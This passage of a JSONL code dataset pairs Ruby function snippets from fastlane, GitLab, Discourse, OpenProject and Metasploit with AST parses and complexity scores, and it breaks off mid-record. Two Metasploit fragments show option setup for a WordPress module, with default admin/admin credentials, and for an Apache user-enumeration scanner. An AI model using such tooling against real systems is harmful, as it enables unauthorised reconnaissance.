"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username of the admin account\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password of the admin account\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path of the Wordpress server\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"bb51991c-9420-459e-b202-26ea2ba6b5bd"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/cert/lib/cert/runner.rb","start_line":156,"raw_source":"def certificate_types\n      if Cert.config[:type]\n        case Cert.config[:type].to_sym\n        when :mac_installer_distribution\n          return [Spaceship::ConnectAPI::Certificate::CertificateType::MAC_INSTALLER_DISTRIBUTION]\n        when :developer_id_application\n          return [\n            Spaceship::ConnectAPI::Certificate::CertificateType::DEVELOPER_ID_APPLICATION_G2,\n            Spaceship::ConnectAPI::Certificate::CertificateType::DEVELOPER_ID_APPLICATION\n          ]\n        when :developer_id_kext\n          return [Spaceship::ConnectAPI::Certificate::CertificateType::DEVELOPER_ID_KEXT]\n        when :developer_id_installer\n          if !Spaceship::ConnectAPI.token.nil?\n            raise \"As of 2021-11-09, the App Store Connect API does not allow accessing DEVELOPER_ID_INSTALLER with the API Key. Please file an issue on GitHub if this has changed and needs to be updated\"\n          else\n            return [Spaceship::ConnectAPI::Certificate::CertificateType::DEVELOPER_ID_INSTALLER]\n          end\n        else\n          UI.user_error(\"Unaccepted value for :type - #{Cert.config[:type]}\")\n        end\n      end\n\n      # Check if apple certs (Xcode 11 and later) should be used\n      if Cert.config[:generate_apple_certs]\n        cert_type = Spaceship::ConnectAPI::Certificate::CertificateType::DISTRIBUTION\n        cert_type = Spaceship::ConnectAPI::Certificate::CertificateType::IOS_DISTRIBUTION if Spaceship::ConnectAPI.client.in_house? # Enterprise doesn't use Apple Distribution\n        cert_type = Spaceship::ConnectAPI::Certificate::CertificateType::DEVELOPMENT if Cert.config[:development]\n      else\n        case Cert.config[:platform].to_s\n        when 'ios', 'tvos'\n          cert_type = Spaceship::ConnectAPI::Certificate::CertificateType::IOS_DISTRIBUTION\n          cert_type = Spaceship::ConnectAPI::Certificate::CertificateType::IOS_DISTRIBUTION if Spaceship::ConnectAPI.client.in_house?\n          cert_type = Spaceship::ConnectAPI::Certificate::CertificateType::IOS_DEVELOPMENT if Cert.config[:development]\n\n        when 'macos'\n          cert_type = Spaceship::ConnectAPI::Certificate::CertificateType::MAC_APP_DISTRIBUTION\n          cert_type = Spaceship::ConnectAPI::Certificate::CertificateType::MAC_APP_DEVELOPMENT if Cert.config[:development]\n        end\n      end\n\n      return [cert_type]\n    end","complexity_score":65.5,"ast_json":"{\"type\":\"def\",\"children\":[\"certificate_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"mac_installer_distribution\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"MAC_INSTALLER_DISTRIBUTION\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer_id_application\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"DEVELOPER_ID_APPLICATION_G2\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"DEVELOPER_ID_APPLICATION\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer_id_kext\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"DEVELOPER_ID_KEXT\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer_id_installer\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"token\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"As of 2021-11-09, the App Store Connect API does not allow accessing DEVELOPER_ID_INSTALLER with the API Key. Please file an issue on GitHub if this has changed and needs to be updated\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"DEVELOPER_ID_INSTALLER\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unaccepted value for :type - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"generate_apple_certs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cert_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"DISTRIBUTION\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"client\"]},\"in_house?\"]},{\"type\":\"lvasgn\",\"children\":[\"cert_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"IOS_DISTRIBUTION\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"development\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cert_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"DEVELOPMENT\"]}]},null]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ios\"]},{\"type\":\"str\",\"children\":[\"tvos\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cert_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"IOS_DISTRIBUTION\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"client\"]},\"in_house?\"]},{\"type\":\"lvasgn\",\"children\":[\"cert_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"IOS_DISTRIBUTION\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"development\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cert_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"IOS_DEVELOPMENT\"]}]},null]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"macos\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cert_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"MAC_APP_DISTRIBUTION\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"development\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cert_type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Certificate\"]},\"CertificateType\"]},\"MAC_APP_DEVELOPMENT\"]}]},null]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cert_type\"]}]}]}]}]}","id":"e6bf9b8b-fd07-42d3-b41c-d35f0ad9b8b7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/apache_userdir_enum.rb","start_line":12,"raw_source":"def initialize\n    super(\n      'Name' => 'Apache \"mod_userdir\" User Enumeration',\n      'Description' => %q{Apache with the UserDir directive enabled generates different error\n      codes when a username exists and there is no public_html directory and when the username\n      does not exist, which could allow remote attackers to determine valid usernames on the\n      server.},\n      'Author' => [\n        'Heyder Andrade <heyder.andrade[at]alligatorteam.org>',\n      ],\n      'References' => [\n        ['BID', '3335'],\n        ['CVE', '2001-1013'],\n        ['OSVDB', '637'],\n      ],\n      'License' => MSF_LICENSE\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The path to users Home Page', '/']),\n        OptPath.new('USER_FILE', [\n          true, \"File containing users, one per line\",\n          File.join(Msf::Config.data_directory, \"wordlists\", \"unix_users.txt\")\n        ]),\n      ]\n    )\n\n    deregister_options(\n      'PASSWORD',\n      'PASS_FILE',\n      'USERPASS_FILE',\n      'STOP_ON_SUCCESS',\n      'BLANK_PASSWORDS',\n      'USER_AS_PASS'\n    )\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache \\\"mod_userdir\\\" User Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Apache with the UserDir directive enabled generates different error\\n\"]},{\"type\":\"str\",\"children\":[\"      codes when a username exists and there is no public_html directory and when the username\\n\"]},{\"type\":\"str\",\"children\":[\"      does not exist, which could allow remote attackers to determine valid usernames on the\\n\"]},{\"type\":\"str\",\"children\":[\"      server.\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Heyder Andrade <heyder.andrade[at]alligatorteam.org>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"3335\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2001-1013\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"637\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to users Home Page\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"USER_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File containing users, one per line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"unix_users.txt\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"str\",\"children\":[\"PASS_FILE\"]},{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]},{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]},{\"type\":\"str\",\"children\":[\"USER_AS_PASS\"]}]}]}]}","id":"48a0ce56-cb7e-4433-995f-058845904b01"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/page.rb","start_line":64,"raw_source":"def logo_pdf_top\n    pdf.bounds.top + styles.page_header_offset + styles.page_logo_offset + (styles.page_logo_height / 2)\n  end","complexity_score":19.95,"ast_json":"{\"type\":\"def\",\"children\":[\"logo_pdf_top\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"bounds\"]},\"top\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"page_header_offset\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"page_logo_offset\"]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"page_logo_height\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"931e1abf-657b-4ee8-bdd5-f754c3d1e52d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/read_artifact.rb","start_line":161,"raw_source":"def clone_artifact(source, version = nil)\n          source_version = version ? source.versions.find_by(version_number: version) : nil\n          content = source_version || source\n\n          AiArtifact.create!(\n            user: post.user,\n            post: post,\n            name: source.name,\n            html: content.html,\n            css: content.css,\n            js: content.js,\n            metadata: {\n              cloned_from: source.id,\n              cloned_version: source_version&.version_number,\n            },\n          )\n        end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clone_artifact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"version\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_version\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"versions\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version_number\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_version\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiArtifact\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[null,\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"css\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"js\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"js\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cloned_from\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cloned_version\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_version\"]},\"version_number\"]}]}]}]}]}]}]}]}","id":"d43c1fce-e8fe-4a0d-a6f5-94c681578577"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/clusterable_presenter.rb","start_line":15,"raw_source":"def can_add_cluster?\n    can?(current_user, :add_cluster, clusterable)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_add_cluster?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"add_cluster\"]},{\"type\":\"send\",\"children\":[null,\"clusterable\"]}]}]}","id":"1d4311a1-49ba-41e3-b891-6ee4b49e9e51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/pipelines_finder.rb","start_line":27,"raw_source":"def execute\n      return Ci::Pipeline.none unless Ability.allowed?(current_user, :read_pipeline, project)\n\n      items = prefiltered_pipelines\n      items = by_ids(items)\n      items = by_iids(items)\n      items = by_scope(items)\n      items = by_status(items)\n      items = by_ref(items)\n      items = by_sha(items)\n      items = by_username(items)\n      items = by_yaml_errors(items)\n      items = by_updated_at(items)\n      items = by_created_at(items)\n      items = by_source(items)\n      items = by_name(items)\n\n      sort_items(items)\n    end","complexity_score":32.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_pipeline\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Pipeline\"]},\"none\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"prefiltered_pipelines\"]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_ids\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_iids\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_scope\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_status\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_ref\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_sha\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_username\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_yaml_errors\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_updated_at\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_created_at\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_source\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"by_name\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sort_items\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}","id":"f2e62fdf-3439-47c3-b99f-793470a44c57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/freeze_period.rb","start_line":38,"raw_source":"def next_time_start\n      Gitlab::SafeRequestStore.fetch(\"ci:freeze_period:#{id}:next_time_start\") do\n        freeze_start_parsed_cron.next_time_from(time_zone_now)\n      end\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"next_time_start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ci:freeze_period:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\":next_time_start\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"freeze_start_parsed_cron\"]},\"next_time_from\",{\"type\":\"send\",\"children\":[null,\"time_zone_now\"]}]}]}]}","id":"3540873c-ddf9-4788-a974-0705cfce1a56"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/slack/slack_transcript.rb","start_line":299,"raw_source":"def load_chat_history(count: 500)\n      http = DiscourseChatIntegration::Provider::SlackProvider.slack_api_http\n\n      endpoint = @requested_thread_ts ? \"replies\" : \"history\"\n\n      req = Net::HTTP::Post.new(URI(\"https://slack.com/api/conversations.#{endpoint}\"))\n\n      data = {\n        token: SiteSetting.chat_integration_slack_access_token,\n        channel: @channel_id,\n        limit: count,\n      }\n\n      data[:ts] = @requested_thread_ts if @requested_thread_ts\n\n      req.set_form_data(data)\n      response = http.request(req)\n      return false unless response.kind_of? Net::HTTPSuccess\n      json = JSON.parse(response.body)\n      return false unless json[\"ok\"]\n\n      raw_messages = json[\"messages\"]\n      raw_messages = raw_messages.reverse unless @requested_thread_ts\n\n      # Build some message objects\n      @messages = []\n      raw_messages.each_with_index do |message, index|\n        # Only load messages\n        next unless message[\"type\"] == \"message\"\n\n        # Don't load responses to threads unless specifically requested (if ts==thread_ts then it's the thread parent)\n        if !@requested_thread_ts && message[\"thread_ts\"] && message[\"thread_ts\"] != message[\"ts\"]\n          next\n        end\n\n        this_message = SlackMessage.new(message, self)\n        @messages << this_message\n      end\n    end","complexity_score":48.35,"ast_json":"{\"type\":\"def\",\"children\":[\"load_chat_history\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[500]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Provider\"]},\"SlackProvider\"]},\"slack_api_http\"]}]},{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requested_thread_ts\"]},{\"type\":\"str\",\"children\":[\"replies\"]},{\"type\":\"str\",\"children\":[\"history\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Post\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://slack.com/api/conversations.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\